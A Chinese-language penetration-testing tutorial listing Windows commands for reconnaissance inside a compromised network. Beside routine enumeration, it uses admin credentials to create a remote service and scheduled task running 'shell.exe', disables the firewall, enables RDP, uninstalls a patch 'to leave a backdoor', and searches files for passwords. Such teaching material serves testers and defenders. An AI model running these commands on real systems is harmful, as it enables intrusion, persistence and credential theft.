內網滲透測試的藝術[一]資訊收集(入門篇)
資訊收集[入門篇] 利用系統現有工具在現有許可權條件下,我們到底能做些什麼務必要時刻謹記我們蒐集資訊的初衷(嚴謹盲目),我們所蒐集到的每個資訊,都應該有它存在的價值,也就是說後續我們到底可以拿它幹什麼?這無比重要,舉個簡單例子,就拿蒐集密碼來說,首先我要知道哪些地方可能會存有密碼:
資料庫配置檔案會有資料庫的連線密碼([email protected])
三方工具的配置檔案中可能也有儲存的密碼hash(如filezilla FTP之流)
瀏覽器中說不定儲存的各種網站密碼和系統密碼是一樣的(可能會有目標網站,這就極有可能getshell),如果Lucky的話,會搞到VPN賬號密碼,豈不快哉!
在許可權和免殺都沒問題的情況下,要蒐集的密碼還有很多,關於更多蒐集密碼,猜密碼的東西,後續講
首先,我們要明白的是:資訊收集"嚴禁盲目!!!" 如果照本宣科的把命令過一遍是沒有任何意義的.對資訊的敏感度一定要高,要細心.務必要做記錄,勤於記錄這是一個好習慣.
工具是死的,人是活的. 我們知道想要做什麼,遠遠比知道怎麼做更重要
下面講解針對各個部位的各種資訊手法
- 資訊收集 1.1. 系統 1.1.1. systeminfo · 功能:顯示有關計算機及其作業系統的詳細配置資訊,系統版本,架構,補丁情況,包括作業系統配置,安全資訊,產品ID和硬體屬性(如RAM,磁碟空間和網絡卡)
· systeminfo命令工具十分強大。我們可以在命令提示符下面輸入 systeminfo /?檢視命令手冊。系統顯示可以還可以遠端機器的資訊,還可以輸出為CSV檔案更好的檢索系統資訊
1.1.2. systeminfo /fo:csv
· 輸出為csv格式,預設為list格式顯示有關計算機及其作業系統的詳細配置資訊, 包括作業系統配置,安全資訊,產品ID和硬體屬性(如RAM,磁碟空間和網絡卡)
1.1.3. systeminfo>>info.txt
· 會將systeteminfo命令執行結果吸入到info.txt這個文字檔案
· type info.txt
• 顯示這個文字檔案的內容,我們可以從中獲取很多重要的系統資訊。
• 從這個檔案中我們可以讀取到網絡卡配置,硬體配置和補丁程式的詳情,這個可以幫助我們瞭解系統的漏洞。
1.1.4. 一般來說,儲存為CSV檔案更好,然後我們可以開啟CSV來檢索列表。
我們鍵入 systeminfo /fo csv >>D:\1.csv
就可以了。用wps表格開啟
1.1.5. systeminfo /S 192.168.3.122 /U KLIONSEC\administrator /P "[email protected]#123"
· 檢視遠端指定機器的詳細系統配置資訊
1.1.6. systeminfo>temp.txt&(for %i in (KB2271195 KB2124261 KB2160329 KB2621440 KB2707511 KB2829361 KB2864063 KB3000061 KB3045171 KB3036220 KB3077657 KB3079904 KB3134228 KB3124280 KB3199135) do @type temp.txt|@find /i "%i" @echo %i Not Installed!)&del /f /q /a temp.txt
· 如果存在,後續檢視對應MS
1.1.7. hostname
· 計算機名
1.1.8. set · 檢視當前機器的環境變數配置,看有沒有我們可以直接利用到的語言環境
1.1.9. ver / winver 檢視當前機器的NT核心版本
1.1.10. fsutil fsinfo drives 列出當前機器上的所有碟符
1.1.11. net share 檢視當前機器開啟的共享
1.1.12. driverquery 檢視當前機器安裝的驅動列表
1.1.13. restart /r /t 0 立即重啟當前機器
1.2. 使用者及使用者組
1.2.1. whoami
· 顯示當前登入到本地系統的使用者的使用者,組和許可權資訊。 如果沒有引數使用, whoami將顯示當前的域和使用者名稱
1.2.2. whoami /user
· 使用者名稱和SID
1.2.3. whoami /groups
· 使用者所屬的使用者組
1.2.4. whoami /priv
· 使用者當前許可權
1.2.5. whoami /ALL /FO LIST
1.2.6.
1.2.7. net user "使用者名稱"
· Net user “使用者名稱”檢視使用者資訊
• (檢視當前機器中所有的使用者名稱,開始蒐集準備使用者名稱字典 ) 新增或修改使用者帳戶或顯示使用者帳戶資訊。
1.2.8. net user 檢視本機使用者
1.2.9. net user “admin” 檢視admin使用者的詳細資訊
1.2.10. net user /domain 檢視域中的使用者
1.2.11. net user epoadmin /domain 檢視指定使用者在當前域中的詳細屬性資訊
1.2.12. query user
· 查當前機器中正線上的使用者,注意管理員此時在不在
1.2.13. net localgroup
· 新增,顯示或修改本地組
· 查當前機器中所有的組名,瞭解不同組的職能。 如,IT,HR,ADMIN,FILE…
1.2.14. net localgroup “administrators”
· 檢視指定成員組的資訊及成員
· 管理員對計算機/域有不受限制的完全訪問權
1.2.15. net group
· 新增,顯示或修改域中的全域性組
1.2.16. net group /domain 檢視域中的使用者組
1.2.17. net group “domain admins” /domain 獲得域管理員列表
1.2.18. net group “domain controllers” /domain 獲得域控制器列表
1.2.19. net group “domain computers” /domain 獲得所有域成員計算機列表
1.2.20. net accounts
· 更新使用者帳戶資料庫並修改所有帳戶的密碼和登入要求。可以用來檢視密碼策略等資訊
1.2.21. net accounts /domain
· 獲得域密碼策略設定,密碼長短等資訊
1.3. 安裝的程式&服務程序 1.3.1. powershell
· Get-WmiObject -class Win32_Product |Select-Object -Property name,version
1.3.2. 服務程序
· tasklist /svc 顯示當前機器所有的程序所對應的服務[只限於當前使用者又
許可權看到的程序]
· tasklist /m 顯示本地所有程序所呼叫的dll[同樣只限於當前使用者又許可權看
到的程序]
· tasklist /S 192.168.3.122 /v /U administrator /P "[email protected]#123" 檢視
遠端指定機器的程序列表
· tasklist /S 192.168.3.122 /v /U KLIONSEC\administrator /P
"[email protected]#123" 域內可以直接用機器名來代替
· taskkill /im calc.exe 用指定程序名的方式結束指定程序
· taskkill /S 192.168.3.122 /pid 3440 /U KLIONSEC\administrator /P
"[email protected]#123" 結束遠端機器上的指定程序
· wusa /uninstall /KB:2999226 /quiet /norestart 不重啟解除安裝指定系統補丁,方便留後門,前提是許可權要夠
1.3.3. 安裝的驅動列表
· driverquery 檢視當前機器安裝的驅動列表
1.4. 網路資訊
1.4.1. ipconfig
· 顯示所有當前TCP / IP網路配置值並重新整理動態主機配置協議(DHCP)和域名系統(DNS)設定。 在不帶引數的情況下使用, ipconfig顯示所有介面卡的IP地址, 子網掩碼和預設閘道器。
1.4.2. ipconfig /all 檢視所有介面卡
· 檢視本機ip配置,觀察本機是否在域內,內網段有幾個,閘道器在哪裡
1.4.3. ipconfig /displaydns 檢視本地DNS快取
· 顯示DNS客戶端解析程式快取的內容,其中包括從本地主機檔案預載入的條 目和計算機解析的名稱查詢的任何最近獲取的資源記錄。 檢視當前機器中所有的網路連線
1.4.4. route
· 檢視路由資訊
• 顯示並修改本地IP路由表中的條目
1.4.5. route print -4 檢視ipv4路由資訊
1.4.6. route print 列印本機路由資訊,可以看到本機所有的網絡卡介面
1.4.7. arp
· 顯示和修改地址解析協議(ARP)快取中的條目,該快取包含一個或多個用於儲存IP地址及其解析的乙太網或令牌環實體地址的表。
1.4.8. arp –a 顯示arp快取
· 查詢有價值的內網ARP通訊記錄
1.4.9. netsh int ip delete arpcache 刪除當前機器的arp快取
1.4.10. tracert 8.8.8.8 跟蹤本機出口ip
1.4.11. netstat
· 檢視當前機器中所有的網路連線
· 顯示活動的TCP連線,計算機偵聽的埠,乙太網統計資訊, IP路由表, IPv4統計資訊以及IPv6統計資訊。
1.4.12. netstat –ano 顯示活動的tcp、 udp連線及它們對應的pid,地址與埠用數字表示
1.4.13. netstat –p tcp 顯示tcp連線
1.4.14. net start 檢視本機執行的所有服務
1.4.15. netstat -ano 檢視本機所有的tcp,udp埠連線及其對應的pid
1.4.16. netstat -anob 檢視本機所有的tcp,udp埠連線,pid及其對應的發起程式
1.4.17. netstat -ano | findstr "ESTABLISHED" 檢視當前正處於連線狀態的埠及ip
1.4.18. netstat -ano | findstr "TIME_WAIT"
1.5. IPC$共享
1.5.1. net share
· 管理共享資源。 在不帶引數的情況下使用, net share顯示關於在本地計算機上共享的所有資源的資訊
1.5.2. net share 檢視當前機器開啟的共享
1.5.3. net share c$ 檢視c$共享的資訊
1.5.4. net share public_dir="c:\public" /grant:Everyone,Full 設定共享
1.5.5. net use
· 檢視網路連線
· 將計算機連線到共享資源或將計算機與共享資源斷開連線,或顯示有關計算機連線的資訊。 該命令還控制持久的網路連線。 沒有引數的情況下, net use檢索一個網路連線列表
1.5.6. 利用最基礎的ipc連線,這裡需要注意下防火牆,如果沒允許檔案和列印共享服務,是根本net不上去的
1.5.7. net use \192.168.3.122\ipc$ /u:"" "" 先空連線探測
1.5.8. net use 檢視當前機器中的ipc連線有哪些
1.5.9. net use \192.168.3.122\ipc$ /del
1.5.10. net use \192.168.3.122\admin$ /user:"dcadmin" "[email protected]#45" 建立真正的IPC
1.5.11. ipc建立成功後,嘗試直接在本地往遠端機器上拷貝檔案 1.5.12. 方式一
· net use p: \192.168.3.122\c$ 可在建立ipc後直接把對方的c盤對映過來,直接在本地進行拷貝
· net use p: /del 用完以後,務必立馬刪除對映
1.5.13. 方式二
· xcopy d:\sqlitedata*.* \192.168.3.122\c$\temp /E /Y /D 也可在建立ipc後直接遠端拷貝
1.5.14. 依然是在ipc建立後,可直接在遠端機器上建立,刪除服務,建立服務時需要注意, 常規程式需要有返回值,不然啟動服務時會報1053錯誤
1.5.15. sc \192.168.3.122 create shellsrv binpath= "c:\shell.exe" start= auto displayname= "shellstart"
1.5.16. sc \192.168.3.122 stop shllsrv
1.5.17. sc \192.168.3.122 delete shellsrv
1.5.18. net use \192.168.3.122\admin$ /del
1.5.19. net use * /del 最後,刪除所有ipc,如果系統中還有其它的ipc連線,也可指定只刪除自己的
1.5.20. 在遠端機器上快速建立刪除定時任務,需要指定目標系統的賬號密碼 [ 03以下系統用at]
1.5.21. net use \192.168.3.122\admin$ "[email protected]#45"
/user:"klionsec\administrator"
· [email protected]#45
• 密碼
· /user:"klionsec\administrator"
• 賬號
1.5.22. net time \192.168.3.122 檢視目標機器當前時間
1.5.23. net use \192.168.3.122\admin$ /del
1.6. 定時任務
1.6.1. schtasks /create /? 檢視schtasks使用幫助
1.6.2. chcp 437
· 如果當前機器是中文系統需要先修改下cmd字符集, 預設cmd是gbk,不然後面用schtasks遠端建立計劃任務時會報錯
1.6.3. chcp 936
· 用完以後再把字符集改回來,如果是英文系統就不會有這種問題
1.6.4. schtasks使用說明
· /Create 建立新計劃任務。
· /Delete 刪除計劃任務。
· /Query 顯示所有計劃任務。
· /Change 更改計劃任務屬性。
· /Run 按需執行計劃任務。
· /End 中止當前正在執行的計劃任務。
· /ShowSid 顯示與計劃的任務名稱相應的安全識別符號。
· /? 顯示幫助訊息。
· 建立新計劃任務
SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]
1.6.5. schtasks /s 192.168.3.122 /u "klionsec\administrator" /p "[email protected]#45" /create /TN "shellexec" /SC DAILY /ST 11:18 /F /RL HIGHEST /SD 2017/11/13 /ED 2017/11/16 /TR "C:\shell.exe"
1.6.6. schtasks /s 192.168.3.122 /u "klionsec\administrator" /p
"[email protected]#45" /query | findstr "shell"
1.6.7. schtasks /s 192.168.3.122 /u "klionsec\administrator" /p
"[email protected]#45" /TN "shellexec" /delete
1.6.8. 說明書 · 建立新計劃任務
· SCHTASKS /Create [/S system [/U username [/P [password]]]]
· [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
· [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
· [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
· [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]
· 描述:
· 允許管理員在本地或遠端系統上建立計劃任務。
· 引數列表:
· /S system 指定要連線到的遠端系統。如果省略這個系統引數,預設是本地系統。
· /U username 指定應在其中執行 SchTasks.exe 的使用者上下文。
· /P [password] 指定給定使用者上下文的密碼。如果省略則提示輸入。
· /RU username 指定任務在其下執行的“執行方式”使用者帳戶(使用者上下文)。
· 對於系統帳戶,有效值是 ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM"。
· 對於 v2 任務,"NT AUTHORITY\LOCALSERVICE"和
· "NT AUTHORITY\NETWORKSERVICE"以及常見的 SID。對這三個也都可用。
· /RP [password] 指定“執行方式”使用者的密碼。要提示輸入密碼,值必須是 "*" 或無。
· 系統帳戶會忽略該密碼。必須和 /RU 或 /XML 開關一起使用。
·
· /RU/XML /SC schedule 指定計劃頻率。
· 有效計劃任務: MINUTE、 HOURLY、DAILY、WEEKLY、
· MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
· /MO modifier 改進計劃型別以允許更好地控制計劃重複
· 週期。有效值列於下面“修改者”部分中。
· /D days 指定該周內執行任務的日期。有效值:
· MON、TUE、WED、THU、FRI、SAT、SUN
· 和對 MONTHLY 計劃的 1 - 31
· (某月中的日期)。萬用字元“*”指定所有日期。
· /M months 指定一年內的某月。預設是該月的第一天。
· 有效值: JAN、FEB、MAR、APR、MAY、JUN、
· JUL、 AUG、SEP、OCT、NOV 和 DEC。萬用字元
· “*” 指定所有的月。
· /I idletime 指定執行一個已計劃的 ONIDLE 任務之前
· 要等待的空閒時間。
· 有效值範圍: 1 到 999 分鐘。
· /TN taskname 指定唯一識別這個計劃任務的名稱。
· /TR taskrun 指定在這個計劃時間執行的程式的路徑
· 和檔名。
· 例如: C:\windows\system32\calc.exe
· /ST starttime 指定執行任務的開始時間。
· 時間格式為 HH:mm (24 小時時間),例如 14:30 表示
· 2:30 PM。如果未指定 /ST,則預設值為
· 當前時間。/SC ONCE 必需有此選項。
· /RI interval 用分鐘指定重複間隔。這不適用於
· 計劃型別: MINUTE、HOURLY、
· ONSTART, ONLOGON, ONIDLE, ONEVENT.
· 有效範圍: 1 - 599940 分鐘。
· 如果已指定 /ET 或 /DU,則其預設值為
· 10 分鐘。
· /ET endtime 指定執行任務的結束時間。
· 時間格式為 HH:mm (24 小時時間),例如,14:50 表示 2:50 PM。
· 這不適用於計劃型別: ONSTART、
· ONLOGON, ONIDLE, ONEVENT.
· /DU duration 指定執行任務的持續時間。
· 時間格式為 HH:mm。這不適用於 /ET 和
· 計劃型別: ONSTART, ONLOGON, ONIDLE, ONEVENT.
· 對於 /V1 任務,如果已指定 /RI,則持續時間預設值為
· 1 小時。
· /K 在結束時間或持續時間終止任務。
· 這不適用於計劃型別: ONSTART、
· ONLOGON, ONIDLE, ONEVENT.
· 必須指定 /ET 或 /DU。
· /SD startdate 指定執行任務的第一個日期。
· 格式為 yyyy/mm/dd。預設值為
· 當前日期。這不適用於計劃型別: ONCE、
· ONSTART, ONLOGON, ONIDLE, ONEVENT.
· /ED enddate 指定此任務執行的最後一天的日期。
· 格式是 yyyy/mm/dd。這不適用於計劃型別:
· ONCE、ONSTART、ONLOGON、ONIDLE。
· /EC ChannelName 為 OnEvent 觸發器指定事件通道。
· /IT 僅有在 /RU 使用者當前已登入且
· 作業正在執行時才可以互動式執行任務。
· 此任務只有在使用者已登入的情況下才執行。
· /NP 不儲存任何密碼。任務以給定使用者的身份
· 非互動的方式執行。只有本地資源可用。
· /Z 標記在最終執行完任務後刪除任務。
· /XML xmlfile 從檔案的指定任務 XML 中建立任務。
· 可以組合使用 /RU 和 /RP 開關,或者在任務 XML 已包含
· 主體時單獨使用 /RP。
· /V1 建立 Vista 以前的平臺可以看見的任務。
· 不相容 /XML。
· /F 如果指定的任務已經存在,則強制建立
· 任務並抑制警告。
· /RL level 為作業設定執行級別。有效值為
· LIMITED 和 HIGHEST。預設值為 LIMITED。
· /DELAY delaytime 指定觸發觸發器後延遲任務執行的
· 等待時間。時間格式為
· mmmm:ss。此選項僅對計劃型別
· ONSTART, ONLOGON, ONEVENT.
· /? 顯示幫助訊息。
· 修改者: 按計劃型別的 /MO 開關的有效值:
· MINUTE: 1 到 1439 分鐘。
· HOURLY: 1 - 23 小時。
· DAILY: 1 到 365 天。
· WEEKLY: 1 到 52 周。
· ONCE: 無修改者。
· ONSTART: 無修改者。
· ONLOGON: 無修改者。
· ONIDLE: 無修改者。
· MONTHLY: 1 到 12,或FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。
· ONEVENT: XPath 事件查詢字串。
· 示例:
· ==> 在遠端機器 “ABC” 上建立計劃任務 “doc”,
· 該機器每小時在 “runasuser” 使用者下執行 notepad.exe。
· SCHTASKS /Create /S ABC /U user /P password /RU runasuser
· /RP runaspassword /SC HOURLY /TN doc /TR notepad
· ==> 在遠端機器 “ABC” 上建立計劃任務 “accountant”,
· 在指定的開始日期和結束日期之間的開始時間和結束時間內,
· 每隔五分鐘執行 calc.exe。
· SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
· /MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00
· /SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword
· ==> 建立計劃任務 “gametime”,在每月的第一個星期天執行“空當接龍”。
· SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime
· /TR c:\windows\system32\freecell
· ==> 在遠端機器 “ABC” 建立計劃任務 “report”,每個星期執行 notepad.exe。
· SCHTASKS /Create /S ABC /U user /P password /RU runasuser
· /RP runaspassword /SC WEEKLY /TN report /TR notepad.exe
· ==> 在遠端機器 “ABC” 建立計劃任務 “logtracker”,
· 每隔五分鐘從指定的開始時間到無結束時間,
· 執行 notepad.exe。將提示輸入 /RP 密碼。
· SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
· /MO 5 /TN logtracker
· /TR c:\windows\system32\notepad.exe /ST 18:30
· /RU runasuser /RP
· ==> 建立計劃任務 “gaming”,每天從 12:00 點開始到14:00 點自動結束,執行 freecell.exe。
· SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00
· /ET 14:00 /K
· ==> 建立計劃任務“EventLog”以開始執行 wevtvwr.msc。只要在“系統”通道中釋出事件 101
· SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT
· /EC System /MO *[System/EventID=101]
· ==> 檔案路徑中可以加入空格,但需要加上兩組引號,
· 一組引號用於 CMD.EXE,另一組用於 SchTasks.exe。用於 CMD
· 的外部引號必須是一對雙引號;內部引號可以是一對單引號或
· 一對轉義雙引號:
· SCHTASKS /Create
· /tr "'c:\program files\internet explorer\iexplorer.exe'
· \"c:\log data\today.xml\"" ...
· 刪除計劃任務
· SCHTASKS /Delete [/S system [/U username [/P [password]]]]
· /TN taskname [/F]
· 描述:
· 刪除一個或多個計劃任務。
· 引數列表:
· /S system 指定要連線到的遠端系統。
· /U username 指定 schtasks.exe 要執行的使用者上下文。
· /P [password] 指定給定使用者上下文密碼。如果省略則提示輸入。
· /TN taskname 指定要刪除的計劃任務名稱。可以使用萬用字元 "*" 來刪除所有任務。
· /F 強制刪除該任務,而且如果指定的任務當前正在執行,則抑制警告。
· /? 顯示幫助訊息。
· 示例:
· SCHTASKS /Delete /TN * /F
· SCHTASKS /Delete /TN "Backup and Restore"
· SCHTASKS /Delete /S system /U user /P password /TN "Start Restore"
· SCHTASKS /Delete /S system /U user /P password /TN "Start Backup" /F
· 顯示所有計劃任務
SCHTASKS /Query [/S system [/U username [/P [password]]]]
· [/FO format | /XML [xml_type]] [/NH] [/V] [/TN taskname] [/?]
· 描述:
· 允許管理員顯示本地或遠端系統上的計劃任務。
· 引數列表:
· /S system 指定要連線到的遠端系統。
· /U username 指定 schtasks.exe 要執行的使用者上下文。
· /P [password] 指定給定的使用者上下文密碼。如果省略則提示輸入。
· /FO format 為輸出指定格式。有效值: TABLE、LIST、CSV。
· /NH 指定在輸出中不顯示列標題。只對 TABLE 格式有效。
· /V 顯示詳細任務輸出。
· /TN taskname 指定要檢索其資訊的任務名稱,否則會檢索所有任務名稱的資訊。
· /XML [xml_type] 以 XML 格式顯示任務定義。
· 如果 xml_type 為 ONE,則輸出為一個有效 XML 檔案。
· 如果 xml_type 不存在,則輸出將為
· 所有 XML 任務定義的串聯。
· /? 顯示幫助訊息。
· 示例:
· SCHTASKS /Query
· SCHTASKS /Query /?
· SCHTASKS /Query /S system /U user /P password
· SCHTASKS /Query /FO LIST /V /S system /U user /P password
· SCHTASKS /Query /FO TABLE /NH /V
· 更改計劃任務屬性
· SCHTASKS /Change [/S system [/U username [/P [password]]]] /TN taskname
· { [/RU runasuser] [/RP runaspassword] [/TR taskrun] [/ST starttime]
· [/RI interval] [ {/ET endtime | /DU duration} [/K] ]
· [/SD startdate] [/ED enddate] [/ENABLE | /DISABLE] [/IT] [/Z] }
· 描述:
· 更改要執行的程式,或計劃任務使用的使用者帳戶和密碼。
· 引數列表:
· /S system 指定要連線的遠端系統。
· /U username 指定應在其中執行 schtasks.exe的使用者上下文。
· /P [password] 指定給定使用者上下文的密碼。如果省略則提示輸入。
· /TN taskname 指定要更改的計劃任務。
· /RU username 更改必須在其中執行計劃任務的
· 使用者名稱(使用者上下文)。對於系統帳戶,
· 有效值為 ""、"NT AUTHORITY\SYSTEM" 或 "SYSTEM"。
· 對於 v2 任務,"NT AUTHORITY\LOCALSERVICE"和
· "NT AUTHORITY\NETWORKSERVICE"以及常見的 SID
· 對這三個也都可用。
· /RP password 為現有使用者上下文指定新密碼
· 或為新使用者帳戶指定密碼。
· 對系統帳戶忽略此密碼。
· /TR taskrun 指定計劃任務將執行的新程式。
· /ST starttime 指定執行任務的開始時間。
· 時間格式為 HH:mm (24 小時時間),例如 14:30表示 2:30 PM。
· /RI interval 用分鐘指定重複間隔。有效範圍: 1 - 599940 分鐘。
· /ET endtime 指定執行任務的結束時間。
· 時間格式為 HH:mm (24 小時時間),例如 14:50
· 表示 2:50 PM。
· /DU duration 指定執行任務的持續時間。
· 時間格式為 HH:mm。這不適用於 /ET。
· /K 在結束時間或持續時間終止任務。
· /SD startdate 指定執行任務的第一個日期。
· 格式為 yyyy/mm/dd。
· /ED enddate 指定任務應該執行的最後一個日期。
· 格式為 yyyy/mm/dd。
· /IT 僅有在 /RU 使用者當前已登入且
· 作業正在執行時才可以互動式執行任務。
· 此任務只有在使用者已登入的情況下才執行。
· /RL level 設定作業的執行級別。有效值為
· LIMITED 和 HIGHEST。預設情況下是不對其進行更改。
· /ENABLE 啟用計劃任務。
· /DISABLE 禁用計劃任務。
· /Z 標記在最終執行完任務後刪除任務。
· /DELAY delaytime 指定觸發觸發器後延遲任務執行的
· 等待時間。時間格式為
· mmmm:ss。此選項僅對計劃型別
· ONSTART、ONLOGON 和 ONEVENT 有效。
· /? 顯示幫助訊息。
· 示例:
· SCHTASKS /Change /RP password /TN "備份和還原"
· SCHTASKS /Change /TR restore.exe /TN "啟動還原"
· SCHTASKS /Change /S system /U user /P password /RU newuser
· /TN "Start Backup" /IT
· 按需執行計劃任務
· SCHTASKS /Run [/S system [/U username [/P [password]]]] [/I] /TN taskname
· 描述:
· 按需執行計劃任務。
· 引數列表:
· /S system 指定要連線到的遠端系統。
· /U username 指定應在其中執行 schtasks.exe的使用者上下文。
· /P [password] 為給定的使用者上下文指定密碼,如果省略則提示輸入。
· /I 忽略任何限制立即執行任務。
· /TN taskname 標識要立即執行的計劃任務。
· /? 顯示此幫助訊息。
· 示例:
· SCHTASKS /Run /TN "Start Backup"
· SCHTASKS /Run /S system /U user /P password /I /TN“備份和還原”
· 中止當前正在執行的計劃任務
· SCHTASKS /End [/S system [/U username [/P [password]]]] /TN taskname
· 描述:
· 停止正在執行的計劃任務。
· 引數列表:
· /S system 指定要連線到的遠端系統。
· /U username 指定應在其中執行schtasks.exe 的使用者上下文。
· /P [password] 為給定的使用者上下文指定密碼。如果已忽略,將提示輸入密碼。
· /TN taskname 指定要終止的計劃任務。
· /? 顯示幫助訊息。
· 示例:
· SCHTASKS /End /TN "Start Backup"
· SCHTASKS /End /S system /U user /P password /TN "Backup and Restore"
· 顯示與計劃的任務名稱相應的安全識別符號
· SCHTASKS /ShowSid /TN taskname
· 描述:
· 向任務的專用使用者顯示 SID。
· 引數列表:
· /TN taskname 指定計劃的任務名稱。名稱中不允許有短劃線。
· /? 顯示幫助訊息。
· 示例:
· SCHTASKS /ShowSid /TN "\Microsoft\Windows\RAC\RACTask
1.7. 內網存活
1.7.1. for /L %I in (1,1,254) DO @ping -n 1 192.168.3.%I | findstr "TTL=128"
>> pinglog.txt
· 初步先大致看下當前所在內網有多少存活機器 [ 單基於icmp的掃描 ]
1.7.2. for /L %I in (1,1,254) DO @nslookup 192.168.3.%I | find "Name:" >>
dnslog.txt
· 蒐集當前內網中的dns資訊
1.8. 防火牆
1.8.1. netsh advfirewall show private 檢視當前機器防火牆狀態
1.8.2. netsh advfirewall set allprofiles state off 關閉當前機器防火牆
1.8.3. netsh advfirewall set allprofiles state on 開啟當前機器防火牆
1.9. 遠端桌面RDP 1.9.1. REG · 操作當前機器的rdp,實戰中推薦直接用powershell來搞,直接用reg可能會觸發防護報警:
· 第一種,使用原始的reg工具,適合03以下的系統 ```查詢rdp的埠,注意把預設的十六進位制轉換成十進位制
· reg query "HKLM\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber
· reg add
"HKEYLOCALMACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
• 啟動RDP
· reg add
"HKEYLOCALMACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
• 禁用
1.9.2. powershell
· powershell -exec bypass
• 執行旁路
· Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
· Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 1
• 不允許
1.9.3. 放開防火牆對rdp的限制
· netsh advfirewall firewall set rule group="remote desktop" new enable=yes
· netsh advfirewall firewall set rule group="遠端桌面" new enable=yes
1.10. 敏感檔案 1.10.1. 在指定目錄下搜尋各類敏感檔案 ·
dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"conf"
dir /a /s /b d:\"bak"
dir /a /s /b d:\"pwd"
dir /a /s /b d:\"pass"
dir /a /s /b d:\"login"
dir /a /s /b d:\"user"
1.10.2. 批量壓縮指定檔案,注意,list.txt裡存放的是所有要打包檔案的絕對路徑
· makecab /f list.txt /d compressiontype=lzx /d
compressionmemory=21 /d maxdisksize=1024000000 /d
diskdirectorytemplate=dd* /d cabinetnametemplate=dd*.cab
1.10.3. 在指定目錄下蒐集各種賬號密碼
· findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
· findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
· findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak
· findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak
· findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak
1.10.4. 檢視,刪除 指定檔案
· type ad\admin_pass.bak 檢視某個檔案內容
· del d:\ad*.* /a /s /q /f 強制刪除指定路徑下的所有檔案
• 短檔名
· tree /F /A D:\ >> file_list.txt 匯出指定路徑下的檔案目錄結構
1.11. 域內套件資訊收集 1.11.1. NET套件
· net user /domain 檢視當前域中的所有使用者名稱,根據使用者名稱總數大概判斷
域的規模
· net user epoadmin /domain 檢視指定使用者在當前域中的詳細屬性資訊
· net view 正常情況下可以用該命令檢視當前域中線上的機器有哪些,但這
樣看著確實不太直觀,稍微用批處理搞一下把機器名對應的ip也顯示出來,
豈不更暢快
•
@echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j) ) )
· net accounts /domain 檢視當前域的域內賬戶密碼設定策略
· net config workstation 看看當前的登入域
· net view /domain 檢視所有的域名稱
· net view /domain:PROGRAM 檢視指定域中線上的計算機列表
· net time /domain 檢視主域位置,一般都會把主域作為時間伺服器
· net group /domain 檢視當前域中的所有組名
· net group "domain admins" /domain 看看當前域中的域管都有誰
· net group "domain computers" /domain 看看當前域中的所有的計算機
名,只要登入過該域計算機名都會被儲存下來,並非當前線上機器
· net group "domain controllers" /domain 看看域控是哪幾個
· nltest /domain_trusts 檢視域內信任關係
1.11.2. dsquery 工具 · 該工具貌似只在域控機器上有,應該是在域的安裝包裡,你可以把對應系統的這個工具的exe和dll扣出來上傳上去用
· dsquery computer 檢視當前域內的所有機器,dsquery工具一般在域控上才有,不過你可以上傳一個和目標系統版本對應的dsquery
· dsquery user 檢視當前域中的所有賬戶名
· dsquery group 檢視當前域內的所有組名
· dsquery subnet 檢視到當前域所在的網段
· dsquery site 檢視域內所有的web站點
· dsquery server 檢視當前域中的所有伺服器(應該是指域控)
· dsquery user domainroot -name admin* -limit 240 查詢前240個以admin開頭的使用者名稱
1.12. WMIC套件使用 1.12.1. 其實,上面基礎工具能幹的事情,wmic全部能幹,且過之不及],在操作遠端時,如果遇到’RPC 服務不可用’直接把機器名換成ip即可, 別看這麼多,我們實戰用的最多的可能就是遠端執行及遠端開啟rdp了,如,遠端導hash,遠端執行payload… · 遠端過程呼叫(RPC),遠端過程呼叫可完成網路環境下的物件之間的訊息傳遞工作。第二種方式是共有儲存器方式傳遞訊息。
1.12.2. 查詢當前及遠端機器的程序資訊
